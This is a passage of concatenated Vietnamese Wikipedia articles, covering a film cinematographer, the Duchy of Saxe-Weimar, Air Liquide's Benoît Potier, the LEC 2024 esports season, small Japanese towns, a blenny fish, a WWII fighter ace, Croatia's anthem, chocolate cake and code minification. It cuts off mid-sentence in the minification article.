ngữ. Không được cơ quan chấp thuận, K'Linh đành phải xin thôi việc. Tuy nhiên, do môn ngoại ngữ không đạt nên anh không thể thực hiện dự định của mình. Cũng trong năm 2005, đạo diễn Nguyễn Nghiêm Đặng Tuấn về nước làm bộ phim 1375km và mời K'Linh làm đạo diễn hình ảnh. Là bộ phim điện ảnh đầu tiên của Việt Nam làm theo phương pháp của Hollywood, đồng thời cũng là bộ phim điện ảnh đầu tay của K'Linh, song, phim lại thất bại cả về doanh thu và nghệ thuật. Năm 2009, K'Linh nhận được học bổng ngắn hạn tại trường Đại học Nam California (USC) về quay phim và có thêm kỹ năng mới trong công việc. Trong năm này, K'Linh lần đầu cộng tác với Victor Vũ khi thực hiện bộ phim Chuyện tình xa xứ và tham gia làm đạo diễn hình ảnh cho phim Huyền thoại bất tử. Một năm sau, anh giành giải Quay phim xuất sắc tại Giải Cánh diều 2015. Năm 2012, tại Liên hoan phim Việt Nam lần thứ 17, K'Linh giành giải Quay phim xuất sắc với bộ phim Cô dâu đại chiến. Sau đó, K'Linh tiếp tục hợp tác cùng Victor Vũ với phim điện ảnh Thiên mệnh anh hùng. Bộ phim sau đó chiến thắng 5 giải ở hạng mục Phim điện ảnh tại Giải Cánh diều 2012, trong đó có giải Quay phim xuất sắc dành cho K'Linh. Năm 2017, anh cùng Bob Nguyễn và Lý Thái Dũng thành lập Sài Gòn Cinematographers, một hiệp hội dành riêng cho các nhà quay phim. Năm 2018, đánh dấu lần thứ 11 K'Linh cộng tác cùng Victor vũ qua bộ phim điện ảnh Người bất tử. Với bộ phim này anh giành được giải Quay phim xuất sắc tại Liên hoan phim Việt Nam lần thứ 21. Năm 2023, với bộ phim Tro tàn rực rỡ hợp tác cùng Bùi Thạc Chuyên, bộ phim giành được nhiều giải thưởng trong và ngoài nước. Bản thân K'Linh cũng giành giải được một giải Quay phim xuất sắc hạng mục phim điện ảnh tại Liên hoan phim Việt Nam lần thứ 23. Năm 2023, K'Linh được Nhà nước Việt Nam trao tặng danh hiệu Nghệ sĩ ưu tú. Giải thưởng Tác phẩm Phim ngắn Phim truyền hình Phim điện ảnh Tham khảo Người Hà Nội Phim và người giành giải Cánh diều Phim và người giành giải Liên hoan phim Việt Nam Nam diễn viên phim Việt Nam Sinh năm 1975 Nhà quay phim Việt Nam Nghệ sĩ ưu tú Việt Nam
19852589
https://vi.wikipedia.org/wiki/Sachsen-Weimar
Sachsen-Weimar
Công quốc Sachsen-Weimar (tiếng Đức: Herzogtum Sachsen-Weimar) là một trong những nhà nước của Các công quốc Ernestine do nhánh Ernestine của triều đại Wettin nắm giữ ở bang Thuringia, Đức ngày nay, vì thế nó cũng là một nhà nước thành viên thuộc Đế chế La Mã Thần thánh. Kinh đô của nó đặt tại Weimar. Chi nhánh Weimar là chi nhánh cao cấp nhất còn tồn tại về mặt phả hệ của Nhà Wettin. Sachsen-Weimar ra đời trong lần phân rách lãnh thổ đầu tiên của dòng Ernestine, được thực hiện bởi Hoàng đế Maximilian II của Thánh chế La Mã vào năm 1572. Nguyên nhân sự phân tách lãnh thổ này đến từ việc Johann Friedrich II, Công tước xứ Sachsen đã thất bại trong quá trình thực hiện cuộc nổi dậy nhầm đòi lại ngôi Tuyển hầu xứ Sachsen từ dòng Albertine, vị công tước vị giam cầm vĩnh viễn, còn lãnh thổ thì được chia cho em trai của ông là Johann Wilhelm và 2 con trai ông. Người em trai nhận Weimar và lập ra Công quốc Sachsen-Weimar. Năm 1809, Sachsen-Weimar kết hợp với Sachsen-Eisenach để lập ra Công quốc Sachsen-Weimar-Eisenach và đến năm 1815, được Đại hội Viên nâng lên thành Đại công quốc, nó tồn tại cho đến khi Đế quốc Đức thất bại trong Thế chiến thứ nhất vào năm 1918. Lịch sử Phân vùng Leipzig Vào cuối thế kỷ XV, phần lớn khu vực ngày nay là Thuringia, bao gồm cả khu vực xung quanh Weimar đều do Tuyển hầu xứ Sachsen nắm giữ. Theo Hiệp ước Leipzig năm 1485, vùng đất của Nhà Wettin đã được phân chia giữa Tuyển đế hầu Ernst của Sachsen và em trai ông ta là Albrecht III, với các vùng đất phía Tây ở Thuringia cùng với quyền Tuyển đế hầu thuộc về nhánh Ernestine của gia đình. Cháu trai của Ernest là Tuyển đế hầu Johann Friedrich I đã bị tước bỏ tước hiệu tuyển đế hầu trong Lễ chiếm đóng Wittenberg năm 1547, sau khi ông này thất bại trong việc lãnh đạo Liên minh Schmalkaldic của các Thân vương Tin Lành chống lại phe Công giáo của Hoàng đế Karl V của Thánh chế La Mã. Tuy nhiên, theo Hòa ước Passau năm 1552, ông được ân xá và được phép giữ lại vùng đất của mình ở Thuringia. Sau khi ông qua đời năm 1554, con trai ông là Johann Friedrich kế vị ông, trở thành "Công tước xứ Sachsen", cư trú tại Gotha. Những nỗ lực của ông nhằm giành lại ngôi vị Tuyển đế hầu đã thất bại: trong cuộc nổi dậy năm 1566 do Wilhelm von Grumbach xúi giục, công tước đã bị Hoàng đế Maximilian II cấm cửa và bỏ tù suốt đời. Phân vùng Erfurt Johann Friedrich II được kế vị bởi em trai ông là Johann Wilhelm, người trong một thời gian ngắn cũng không được hoàng đế Thánh chế La Mã sủng ái vì liên minh với Vua Charles IX của Pháp. Năm 1572, Hoàng đế Maximilian II thi hành phân chia Phân khu Erfurt, theo đó vùng đất Ernestine được chia cho Công tước Johann Wilhelm và hai người con trai còn sống của Johann Friedrich II bị cầm tù. Johann Wilhelm giữ lại Công quốc Sachsen-Weimar, trong khi các cháu trai nhỏ của ông nhận được các lãnh thổ phía Nam và phía Tây xung quanh Coburg và Eisenach. Quá trình chia tách lãnh thổ này là sự phân chia đầu tiên trong số nhiều phân vùng; trong ba thế kỷ tiếp theo, các vùng đất bị chia tách khi các công tước có nhiều hơn một con trai và đôi khi các lãnh thổ chia tách được hợp nhất lại khi các công tước qua đời mà không có người thừa kế trực tiếp, nhưng tất cả các vùng đất vẫn thuộc nhánh Ernestine của Nhà Wettin. Kết quả là, Công quốc Sachsen-Weimar đã nhiều lần thu hẹp lại hoặc mở rộng lãnh thổ. Các quốc gia ở Thuringia trong suốt thời kỳ này thường bao gồm một số thửa đất lãnh thổ không liền kề với nhiều quy mô khác nhau. Đối mặt với việc thiếu quyền lực chính trị, những người cai trị các nhà nước nhỏ này đã xây dựng những gia đình quân chủ lộng lẫy tại nơi ở của họ và theo đuổi những thành tựu văn hóa hơn là chính trị. Công tước Johann Wilhelm, đau buồn vì mất mát, qua đời năm 1573, được kế vị bởi con trai ông là Friedrich Wilhelm I. Sau khi ông qua đời vào năm 1602, Sachsen-Weimar một lần nữa được chia cho em trai Johann II và con trai nhỏ của Friedrich Wilhelm là Johann Philipp, người đã nhận lãnh thổ và lập ra Công quốc Sachsen-Altenburg. Con trai của Johann Philipp là Johann Ernst I, Công tước xứ Saxe-Weimar nhân dịp chôn cất mẹ mình là Dorothea Maria xứ Anhalt vào năm 1617 đã thành lập Hội sinh thái học. Chiến tranh Ba mươi năm Khi Chiến tranh Ba mươi năm bùng nổ, Công tước Johann Ernst I đã ủng hộ các điền trang của người Bohemia theo đạo Tin Lành dưới quyền "Vua mùa đông" Friedrich V xứ Pfalz, người đã bị đánh bại trong Trận Núi Trắng năm 1620. Bị Hoàng đế Ferdinand II của Thánh chế La Mã tước bỏ danh hiệu, ông vẫn là một đối thủ gay gắt của triều đại Habsburg Công giáo và qua đời trong chiến dịch Hungary của Ernst von Mansfeld năm 1626. Em trai ông là Công tước Wilhelm làm nhiếp chính vương từ năm 1620, đảm nhận chức vụ công tước xứ Sachsen-Weimar sau khi ông qua đời. Lúc đầu, cũng là người ủng hộ các mối quan tâm của đạo Tin Lành, sau cái chết của Vua Gustav II Adolf của Thụy Điển, ông đã chọn tuân theo Hòa ước Praha (1635) mà anh em họ dòng Albertine của ông đã đàm phán với Hoàng đế Thánh chế La Mã - chống lại sự phản đối của em trai ông, Tướng Bernard xứ Sachsen- Weimar, người đã gia nhập quân đội Pháp dưới thời Hồng y Richelieu. Tuy nhiên, giống như nhiều vùng đất của Đế chế La Mã Thần thánh, vùng đất Weimar bị tàn phá bởi các hoạt động chiến tranh cũng như bệnh dịch hạch. Vào năm 1638, Hai chi nhánh Ernestine là Sachsen-Eisenach và Sachsen-Coburg bị tuyệt tự dòng nam sau cái chết của Johann Ernst, Công tước xứ Sachsen-Eisenach, Wilhelm xứ Sachsen-Weimar được thừa kế phần lớn tài sản. Tuy nhiên, vào năm 1640, ông phải lôi kéo các em trai của mình là Ernst I và Albrecht IV, qua đó (tái) thành lập các Công quốc Sachsen-Gotha và Sachen-Eisenach tồn tại trong thời gian ngắn, một lần nữa bị giải thể sau cái chết của Công tước Albrecht vào năm 1644. Kế hạch sắp xếp lại Các công quốc Ernestine khác diễn ra vào năm 1672, sau khi Công tước Friedrich Wilhelm III xứ Sachsen-Altenburg, hậu duệ của Công tước Johann Phillip, qua đời mà không có người thừa kế và anh họ của ông là Công tước Johann Ernst II xứ Sachsen-Weimar được thừa kế các phần của công quốc của ông, vốn ban đầu có bị tách khỏi lãnh thổ Sachsen-Weimar vào năm 1602. Johann Ernst II ngay lập tức chia vùng đất Sachsen-Weimar mở rộng cho ông và các em trai Johann Georg I và Bernhard II, những người đã nhận được các Công quốc Sachsen-Eisenach và Sachsen-Jena, được hoàn nguyên cho Sachsen-Weimar sau cái chết của con trai Bernhard là Công tước Johann Wilhelm vào năm 1690. Chủ nghĩa cổ điển Weimar Sau cái chết của hậu duệ John George, Wilhelm Heinrich vào năm 1741, Công tước Ernst August I xứ Sachsen-Weimar cũng thừa kế Công quốc Sachsen-Eisenach. Sau đó, ông cai trị cả hai công quốc trong liên minh cá nhân và quyết định thúc đẩy sự phát triển các điền trang của mình bằng cách thực hiện nguyên tắc thừa kế. Con trai ông là Ernest Augustus II, người kế vị ông năm 1748, qua đời năm 1758, sau đó Nữ hoàng Maria Theresia đã bổ nhiệm người góa phụ trẻ, Công tước phu nhân Anna Amalia, nhiếp chính đất nước và là người giám hộ cho đứa con trai sơ sinh của bà là Công tử Karl August. Quyền nhiếp chính của Anna Amalia đầy nghị lực và triều đại của Karl August, người được nhà văn Christoph Martin Wieland nuôi dưỡng, đã tạo nên một đỉnh cao trong lịch sử của Sachsen-Weimar. Cả hai đều là những người bảo trợ tận tâm cho văn học và nghệ thuật, Anna Amalia và Karl August đã thu hút các học giả hàng đầu của Đức đến triều đình của họ, bao gồm Johann Wolfgang von Goethe, Friedrich Schiller và Johann Gottfried Herder, và biến nơi cư trú của họ ở Weimar trở thành một trung tâm văn hóa quan trọng trong, được nhắc đến như là Chủ nghĩa cổ điển Weimar. Năm 1804, Công tước Karl August thực hiện liên hôn với Hoàng tộc Nga bằng cách gả con trai và người thừa kế Công tử Karl Friedrich cho Nữ đại công tước Maria Pavlovna, em gái của Hoàng đế Alexander I của Nga. Tuy nhiên, cùng lúc đó, ông Liên minh với Vương quốc Phổ trong Chiến tranh Liên minh thứ Tư chống lại Đệ nhất Đế chế Pháp của Napoleon I, và sau thất bại trong Trận Jena-Auerstedt, ông buộc phải gia nhập Liên bang Rhein của Napoléon vào năm 1806. Năm 1809, Sachsen-Weimar và Sachsen-Eisenach, vốn chỉ được hợp nhất dưới danh nghĩa, đã chính thức được sáp nhập vào Sachsen-Weimar và tạo ra Công quốc Sachsen-Weimar-Eisenach; Sau khi người Pháp thất bại trong Chiến tranh Napoleon, Đại hội Viên đã nâng nó lên Đại công quốc. Các công tước xứ Sachsen-Weimar Johann Wilhelm (1554–73) Friedrich Wilhelm I (1573–1602), con trai của Johann Wilhelm Johann II (1602–05), em trai Johann Ernest I (1605–20), con trai của Johann Wilhelm (1620–62), em trai Johann Ernest II (1662–83), con trai của Wilhelm Wilhelm Ernest (1683–1728), con trai của Johann Ernest II Johann Ernst III (1683–1707), con trai của Johann Ernst II Ernst August I (1707–48), con trai của Johann Ernst III Ernest August II (1748–58), con trai của Ernst August I Karl August (1758–1809), con trai của Ernst August II Hợp nhất với Sachsen-Eisenach để tạo thành Sachsen-Weimar-Eisenach Tham khảo Nguồn Saxe-Weimar, The Columbia Electronic Encyclopedia, Sixth Edition, Columbia University Press (2001–2005), accessed December 22, 2005 Liên kết ngoài German genealogies Genealogy of Dukes of Saxe-Weimar Các công quốc Ernestine Sachsen-Weimar Công tước xứ Sachsen-Weimar Lịch sử Weimar Cựu quốc gia quân chủ Công quốc Thánh chế La Mã Nhà nước của Liên bang Rhein Vương tộc Wettin
19852593
https://vi.wikipedia.org/wiki/Beno%C3%AEt%20Potier
Benoît Potier
Benoît Potier là một doanh nhân người Pháp, từng giữ chức vụ Giám đốc điều hành của tập đoàn khí công nghiệp đa quốc gia Air Liquide của Pháp từ năm 2006 đến năm 2022. Ông hiện là Chủ tịch Hội đồng quản trị của Air Liquide. Giáo dục Benoit Potier tốt nghiệp kỹ sư tại École Centrale Paris năm 1979. Potier cũng tham dự chương trình giáo dục điều hành của Diễn đàn Quốc tế Wharton và chương trình Quản lý nâng cao INSEAD. Sự nghiệp Benoît Potier gia nhập Air Liquide vào năm 1981 với tư cách là kỹ sư Nghiên cứu và Phát triển. Sau khi giữ chức vụ Giám đốc Dự án tại Ban Kỹ thuật và Xây dựng, ông được bổ nhiệm làm Phó Chủ tịch Phát triển Năng lượng trong ngành kinh doanh Công nghiệp Lớn. Năm 1993, ông trở thành Giám đốc Chiến lược và Tổ chức, và năm 1994, ông được giao phụ trách Thị trường Hóa chất, Kim loại và Thép, Dầu và Năng lượng. Ông được bổ nhiệm làm phó chủ tịch điều hành của Air Liquide vào năm 1995 với các trách nhiệm bổ sung về Bộ phận Kỹ thuật và Xây dựng cũng như các hoạt động Công nghiệp Lớn ở Châu Âu. Benoît Potier được bổ nhiệm làm phó chủ tịch điều hành cấp cao vào năm 1997. Ông được bổ nhiệm vào hội đồng quản trị năm 2000 và trở thành chủ tịch hội đồng quản trị vào tháng 11 năm 2001. Benoît Potier là chủ tịch kiêm giám đốc điều hành của Air Liquide từ năm 2006 đến năm 2022. vị trí của Chủ tịch Hội đồng quản trị Air Liquide từ ngày 1 tháng 6 năm 2022. Tham khảo Doanh nhân Pháp Cựu sinh viên Trường Bách khoa Paris
19852596
https://vi.wikipedia.org/wiki/LEC%20m%C3%B9a%20gi%E1%BA%A3i%202024
LEC mùa giải 2024
LEC mùa giải 2024 là mùa giải thứ 12 của League of Legends EMEA Championship (LEC), một giải đấu thể thao điện tử chuyên nghiệp dành cho bộ môn Liên Minh Huyền Thoại. LEC mùa giải 2024 được chia thành ba giai đoạn là Mùa Đông, Mùa Xuân và Mùa Hè, với đỉnh điểm là chung kết năm mùa giải LEC. Ba sự thay đổi đội đã xảy ra trước mùa giải 2024, với việc Astralis bán vị trí nhượng quyền LEC của họ cho Karmine Corp, KOI đổi thương hiệu thành Rogue và Excel Esports đổi thương hiệu thành GIANTX. Những thay đổi Thể thức Ngược lại với mùa giải trước, LEC đã hợp nhất vòng bảng loại trực tiếp và vòng loại trực tiếp thành một vòng loại trực tiếp cho mùa giải 2024. Sự thay đổi này sẽ duy trì số lượng các loạt trận đấu Bo3 và Bo5 như mùa giải trước. Ngoài ra, các đội có thể đối đầu với nhau ở nhánh thắng của vòng loại trực tiếp sẽ không thể đối đầu với nhau ở nhánh thua, ngoại trừ trận chung kết nhánh thua. Giải đấu cũng tăng cường chú trọng vào mùa giải Mùa Hè, với đội vô địch trong mùa giải Mùa hè sẽ tự động đủ điều kiện tham dự Chung kết thế giới 2024 và trao cho cả những người về đích ở vị trí thứ hai và thứ ba trong Giải mùa hè cũng có một suất tham dự chung kết năm LEC mùa giải 2024. Giải đấu đã tăng thời gian giữa các giải Mùa Đông và Mùa Xuân, Mùa Xuân và MSI thêm một tuần. Thời gian nghỉ giữa giải Mùa Hè và chung kết năm mùa giải LEC sẽ được rút ngắn lại một tuần. LEC cũng tăng yêu cầu về độ tuổi tối thiểu để thi đấu từ 17 lên 18. Riot cho biết lý do tăng giới hạn độ tuổi là để "tạo điều kiện cho các đội và LEC khám phá các cơ hội doanh thu bổ sung." Các đội Một số thay đổi về đội đã xảy ra trong mùa giải 2024. Vào tháng 10 năm 2023, đội La Ligue Française Karmine Corp đã mua vị trí nhượng quyền LEC của Astralis. Tháng sau, KOI chấm dứt quan hệ đối tác với Infinite Reality, chia tách tài sản thể thao điện tử của họ. Sau khi chia tách, Infinite Reality vẫn giữ vị trí nhượng quyền LEC và hoàn nguyên thương hiệu của họ trở lại thành Rogue. Vào tháng 12 năm 2023, Excel Esports và Giants Gaming đã hợp nhất. Do đó, nhượng quyền thương mại Excel Esports của LEC đã đổi tên thành GIANTX. Giải Mùa Đông Giải Mùa Đông bắt đầu vào ngày 13 tháng 1 năm 2024. Tất cả các trận đấu sẽ diễn ra tại Riot Games Arena ở Berlin, Đức. Giải đấu sẽ kết thúc với trận chung kết tổng diễn ra vào ngày 18 tháng 2. 10 đội thi đấu tổng cộng 45 trận ở vòng bảng với thể thức vòng tròn 1 lượt, tất cả các trận đấu được thi đấu theo thể thức Bo1. 8 đội đứng đầu lọt vào vòng loại trực tiếp. Ở vòng loại trực tiếp, các đội thi đấu theo thể thức nhánh thằng nhánh thua. Đội đứng đầu vòng loại trực tiếp giải Mùa Đông đủ điều kiện giành được 1 suất tham dự Mid-Season Invitational 2024 và Chung kết năm LEC 2024. Vòng bảng Vòng loại trực tiếp Thứ hạng chung cuộc Giải Mùa Xuân Giải Mùa Xuân bắt đầu vào ngày 9 tháng 3 năm 2024. Tất cả các trận đấu sẽ diễn ra tại Riot Games Arena ở Berlin, Đức. Giải đấu sẽ kết thúc với trận chung kết tổng diễn ra vào ngày 14 tháng 4. 10 đội sẽ thi đấu tổng cộng 45 trận ở vòng bảng với thể thức vòng tròn 1 lượt, tất cả các trận đấu sẽ được thi đấu theo thể thức Bo1. 8 đội đứng đầu sẽ lọt vào vòng loại trực tiếp. Ở vòng loại trực tiếp, các đội sẽ thi đấu theo thể thức nhánh thằng nhánh thua. Đội đứng đầu vòng loại trực tiếp giải Mùa Xuân sẽ đủ điều kiện giành được 1 suất còn lại để tham dự Mid-Season Invitational 2024 và 1 suất tham dự Chung kết năm LEC 2024. Vòng bảng Vòng loại trực tiếp Điểm tích luỹ Giải thưởng Giải Mùa Đông MVP: BrokenBlade, G2 Esports Đội hình tiêu biểu 1: Tham khảo Giải đấu thể thao điện tử Giải đấu Liên Minh Huyền Thoại Giải đấu thể thao điện tử 2024 Giải đấu Liên Minh Huyền Thoại 2024
19852599
https://vi.wikipedia.org/wiki/Taga%2C%20Shiga
Taga, Shiga
là thị trấn thuộc huyện Inukami, tỉnh Shiga, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 7.274 người và mật độ dân số là 54 người/km2. Tổng diện tích thị trấn là 135,8 km2. Địa lý Đô thị lân cận Shiga Maibara Hikone Kōra Aishō Higashiōmi Gifu Ōgaki Mie Inabe Tham khảo Thị trấn của Shiga
19852602
https://vi.wikipedia.org/wiki/Hokuei%2C%20Tottori
Hokuei, Tottori
là thị trấn thuộc huyện Tōhaku, tỉnh Tottori, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 14.228 người và mật độ dân số là 250 người/km2. Tổng diện tích thị trấn là 56,94 km2. Địa lý Đô thị lân cận Tottori Yurihama Kurayoshi Kotoura Tham khảo Thị trấn của Tottori
19852605
https://vi.wikipedia.org/wiki/Blenniella%20chrysospilos
Blenniella chrysospilos
Blenniella chrysospilos là một loài cá biển thuộc chi Blenniella trong họ Cá mào gà. Loài này được mô tả lần đầu tiên vào năm 1857. Từ nguyên Từ định danh chrysospilos được ghép bởi hai âm tiết trong tiếng Hy Lạp cổ đại: khrūsós (χρυσός; “vàng”) và spílos (σπίλος; “vệt đốm”), hàm ý đề cập đến các đốm vàng (thực tế là đỏ) trên đầu và thân của loài cá này. Phân bố và môi trường sống B. chrysospilos có phân bố rộng khắp khu vực Ấn Độ Dương - Thái Bình Dương, từ Đông Phi trải dài về phía đông đến quần đảo Société, ngược lên phía bắc đến Nam Nhật Bản, xa về phía nam đến Úc. Ở Việt Nam, B. chrysospilos được ghi nhận tại cù lao Câu (Bình Thuận). B. chrysospilos xuất hiện chủ yếu ở đới mặt bằng rạn gần bờ, thường là nơi mà tảo phát triển mạnh, độ sâu đến ít nhất là 6 m. Mô tả Chiều dài chuẩn lớn nhất được ghi nhận ở B. chrysospilos là 13 cm. Cá có màu nâu tanin đến trắng với nhiều đốm đỏ trên đầu và thân, một dãy đốm hình chữ H dọc hai bên lườn. Số gai vây lưng: 12; Số tia vây lưng: 20–21; Số gai vây hậu môn: 2; Số tia vây hậu môn: 21–22. Sinh thái Thức ăn của B. fuscus là các loài thủy sinh không xương sống nhỏ, vụn hữu cơ và tảo. Chúng sống trong những lỗ nhỏ và chỉ nhô đầu ra ngoài. Tham khảo C Cá Ấn Độ Dương Cá Thái Bình Dương Cá Kenya Cá Tanzania Cá Mozambique Cá Seychelles Cá Madagascar Cá Réunion Cá Mauritius Cá Maldives Cá Việt Nam Cá Philippines Cá Nhật Bản Cá Fiji Động vật được mô tả năm 1857
19852609
https://vi.wikipedia.org/wiki/Claude%20J.%20Crenshaw
Claude J. Crenshaw
Claude James Crenshaw (12 tháng 12 năm 1918 – 17 tháng 3 năm 1972) là trung tá Không quân Hoa Kỳ và phi công ách, ông đã bắn phá hủy 7 máy bay quân địch trong Thế chiến II. Đầu đời Crenshaw sinh năm 1918 tại Monroe, Louisiana. Thế chiến II Vào tháng 4 năm 1944, Crenshaw được chỉ định vào Phi đoàn chiến đấu số 369 trong Liên đoàn Chiến đấu số 359 tại Mặt trận Tác chiến Châu Âu. Căn cứ tại Không quân Hoàng gia East Wretham, ông thực hiện các nhiệm vụ trên chiếc North American P-51 Mustang. Ngày 11 tháng 9 năm 1944, trong khi dẫn đầu chuyến bay qua Kölleda, Đức, chuyến bay của Crenshaw đụng độ 100 chiếc Messerschmitt Bf 109. Trong cuộc đụng độ này, Crenshaw đã bắn hạ hai chiếc Bf 109 và trong cùng nhiệm vụ, ông và phi công yểm trợ đã oanh tạc một sân bay của quân địch và Crenshaw đã phá hủy một máy bay địch trên mặt đất. Vào ngày 18 tháng 9, trong một nhiệm vụ trên bầu trời Düsseldorf, Đức, ông bắn hạ một chiếc Bf 109 đang tấn công phi công yểm trợ của mình, nâng tổng số chiến công của Crenshaw lên ba. Ngày 21 tháng 11, trong chuyến hộ tống máy bay ném bom qua Merseburg, Đức, chuyến bay của Crenshaw đụng độ đội hình lớn của chiếc Focke-Wulf Fw 190 đang cố gắng tấn công máy bay ném bom. Trong trận không chiến, Crenshaw và phi công yểm trợ bị tách khỏi phi đội sau khi bay về hướng sương mù. Trong trận không chiến, ông và phi công yểm trợ đã một mình tấn công nhóm Fw 190 cùng việc Crenshaw bắn hạ 4 chiếc Fw 190 và có thể bắn thêm một chiếc khác. Sau khi ông trở về căn cứ, thì phát hiện ra chỉ có ba trong số sáu khẩu súng trên chiếc P-51 hoạt động trong nhiệm vụ. Vì sự dũng cảm của mình trong nhiệm vụ, Crenshaw được trao Huân chương Thập tự Phục vụ Xuất sắc. Trong Thế chiến II, Crenshaw được công nhận đã bắn hạ bảy máy bay quân địch trong trận không chiến, một chiếc có thể và ba chiếc bị phá hủy trên mặt đất khi oanh tạc các sân bay của quân địch. Khi phục vụ trong Liên đoàn Chiến đấu số 359, ông điều khiển chiếc P-51 mang tên "Louisiana Heatwave". Hậu chiến Tháng 12 năm 1944, Crenshaw quay về Hoa Kỳ. Sau khi Thế chiến II kết thúc, ông tiếp tục phục vụ trong Không quân Hoa Kỳ mới thành lập và giải ngũ vào năm 1965 với quân hàm trung tá. Gia đình Crenshaw kết hôn với Johnnie Ruth, nhũ danh Hudson vào năm 1943. Họ có ba con gái và một con trai, cùng nhiều cháu chắt. Crenshaw qua đời vào ngày 17 tháng 3 năm 1972 ở tuổi 53 vì bệnh ung thư phổi. Ông được an táng tại Nghĩa trang Công viên Tưởng niệm Victor Valley ở Victorville, California. Chiến công Nguồn: Air Force Historical Study 85: USAF Credits for the Destruction of Enemy Aircraft, World War II Huân chương Huân chương được trao gồm: Chú thích Phi công Không lực Lục quân Hoa Kỳ trong Thế chiến thứ hai Sĩ quan Không quân Hoa Kỳ Chôn cất ở California
19852612
https://vi.wikipedia.org/wiki/Asahi%2C%20Mie
Asahi, Mie
là thị trấn thuộc huyện Mie, tỉnh Mie, Nhật Bản. Tính đến ngày 1 tháng 10 năm 2020, dân số ước tính thị trấn là 11.021 người và mật độ dân số là 1.800 người/km2. Tổng diện tích thị trấn là 5,99 km2. Địa lý Đô thị lân cận Mie Yokkaichi Kuwana Kawagoe Tham khảo Thị trấn của Mie
19852667
https://vi.wikipedia.org/wiki/Lijepa%20na%C5%A1a%20domovino
Lijepa naša domovino
"" ("Quê hương xinh đẹp của chúng ta") là quốc ca của Croatia. Tiêu đề của quốc ca thường được gọi là "" ở Croatia, đây là một cụm từ được sử dụng rộng rãi để chỉ đất nước. Lịch sử Lời bài hát được viết bởi Antun Mihanović và được xuất bản lần đầu với tựa đề Horvatska domovina (Quê hương Croatia) vào năm 1835. Năm 1846, Josip Runjanin (1821–1878) phổ nhạc cho Horvatska domovina. Chỉ huy ban nhạc quân đội của Runjanin, Josip Wendl, đã chỉ huy một dàn nhạc kèn đồng của quân đội biểu diễn bài nhạc này. Giai điệu gốc vẫn chưa được biết đến vì chúng đã bị thất lạc, cho đến ngày nay. Bài hát được một giáo viên và nghệ sĩ chơi đàn organ của Nhà thờ Zagreb Vatroslav Lichtenegger ghi âm và hòa âm cho dàn hợp xướng nam vào năm 1861, và sau đó nó bắt đầu được biểu diễn như bài hát của dân tộc Croatia. Nhan đề "Lijepa naša" đã được sử dụng kể từ thời điểm đó. Lời bài hát ban đầu có 14 câu, một số điều chỉnh nhỏ đã được thực hiện đối với lời bài hát sau này. Bài hát không được Quốc hội Croatia thông qua để trở thành quốc ca. Năm 1907, Hiệp hội các câu lạc bộ ca hát Croatia đã yêu cầu quốc hội thông qua nhưng không được chấp thuận, mặc dù bài hát đã được sử dụng làm quốc ca không chính thức tại các buổi lễ, bao gồm cả phiên họp quốc hội ngày 29 tháng 10 năm 1918 khi Croatia chính thức tuyên bố độc lập hoàn toàn với Đế quốc Áo-Hung. Từ năm 1918 đến năm 1941, chỉ một số đoạn của quốc ca Croatia được sử dụng như là một phần của quốc ca của Vương quốc Nam Tư và bài hát này được coi là bài ca của người Croatia. Trong Thế chiến thứ hai, ở Nhà nước Độc lập Croatia, bài hát cũng được sử dụng làm quốc ca, với lời bài hát được sửa đổi. Ví dụ, những người theo Phong trào Giải phóng Quốc gia cũng đã sử dụng nó trong các phiên họp ZAVNOH. Bài hát chính thức trở thành quốc ca của Croatia thông qua việc sửa đổi Hiến pháp Croatia, được quốc hội SR Croatia thông qua vào ngày 29 tháng 2 năm 1972. Bài quốc ca này đã được tái khẳng định bởi hiến pháp năm 1974 và 1990, với lời bài hát của nó được sửa đổi, và được thông qua bằng Đạo luật Quốc huy, Quốc kỳ và Quốc ca của Cộng hòa Croatia. Lời bài hát Lời bài hát chính thức Chỉ có câu đầu tiên được trình diễn trong hầu hết các trường hợp. Bản gốc Horvatska Domovina Bài thơ đăng lần đầu trên tạp chí văn hóa Danica ilirska, số 10, do Ljudevit Gaj biên tập, xuất bản năm 1835 ban đầu gồm mười bốn câu nhưng ngày nay, chỉ có những câu một, hai, mười ba và mười bốn là một phần của quốc ca. Ghi chú Tham khảo Đọc thêm Liên kết ngoài Croatia: Lijepa naša domovino – Audio of the national anthem of Croatia, with information and lyrics (archive link) Nhạc khúc Đô trưởng Quốc ca Quốc ca châu Âu Bài hát năm 1846 Nguồn CS1 tiếng Croatia (hr) Nguồn CS1 tiếng Slovenia (sl) Bài viết có văn bản tiếng Croatia Bài viết sử dụng định dạng hAudio
19852672
https://vi.wikipedia.org/wiki/B%C3%A1nh%20S%C3%B4-c%C3%B4-la
Bánh Sô-cô-la
Bánh sô-cô-la hoặc sô-cô-la gateau () là một loại bánh có hương vị sô cô la, ca cao hoặc cả hai. Tham khảo Món tráng miệng sô-cô-la Bánh Sô-cô-la
19852673
https://vi.wikipedia.org/wiki/Minification%20%28l%E1%BA%ADp%20tr%C3%ACnh%29
Minification (lập trình)
Trong lập trình, minification (còn được gọi là minimisation hoặc minimization) là quá trình loại bỏ các ký tự không cần thiết từ mã nguồn hoặc chương trình thông dịch hoặc ngôn ngữ đánh dấu mà không thay đổi chức năng của nó. Các ký tự không cần thiết thường là ký tự khoảng trắng, dấu xuống dòng, comment, và đôi khi là cả dấu phân cách khối, thường được sử dụng để tăng thêm khả năng đọc cho mã nguồn, không có tác dụng để chạy. Minification giảm kích thước của mã nguồn, khiến cho việc truyền tải nó qua một mạng lưới (ví dụ như Internet) trở nên hiệu quả hơn. Trong văn hóa lập trình, việc hướng tới mã nguồn được tối giản hết mức là mục tiêu của các cuộc thi code golf. Minification khác với nén dữ liệu ở chỗ mã nguồn được thu gọn có thể được diễn giải ngay lập tức mà không cần bước giải nén: cùng một trình thông dịch có thể làm việc với cả mã nguồn gốc cũng như với mã nguồn được thu gọn. Mục tiêu của minification không giống với obfuscation; mã nguồn minified có thể trở về mã nguồn ban đầu bằng các công cụ làm đẹp mã nguồn (pretty-printer) hoặc các công cụ unminifer. Tuy nhiên, để đạt được mục tiêu, minification đôi khi vẫn sử dụng các kỹ thuật cũng được sử dụng bởi kỹ thuật obfuscation; ví dụ như việc rút ngắn tên biến và tái cấu trúc mã nguồn. Các công cụ làm đẹp mã hoặc unminifier chỉ có thể đảo ngược hoàn toàn quá trình thu gọn nếu chúng được cung cấp thông tin chi tiết về các chuyển đổi do chính các kỹ thuật đó thực hiện. Khi 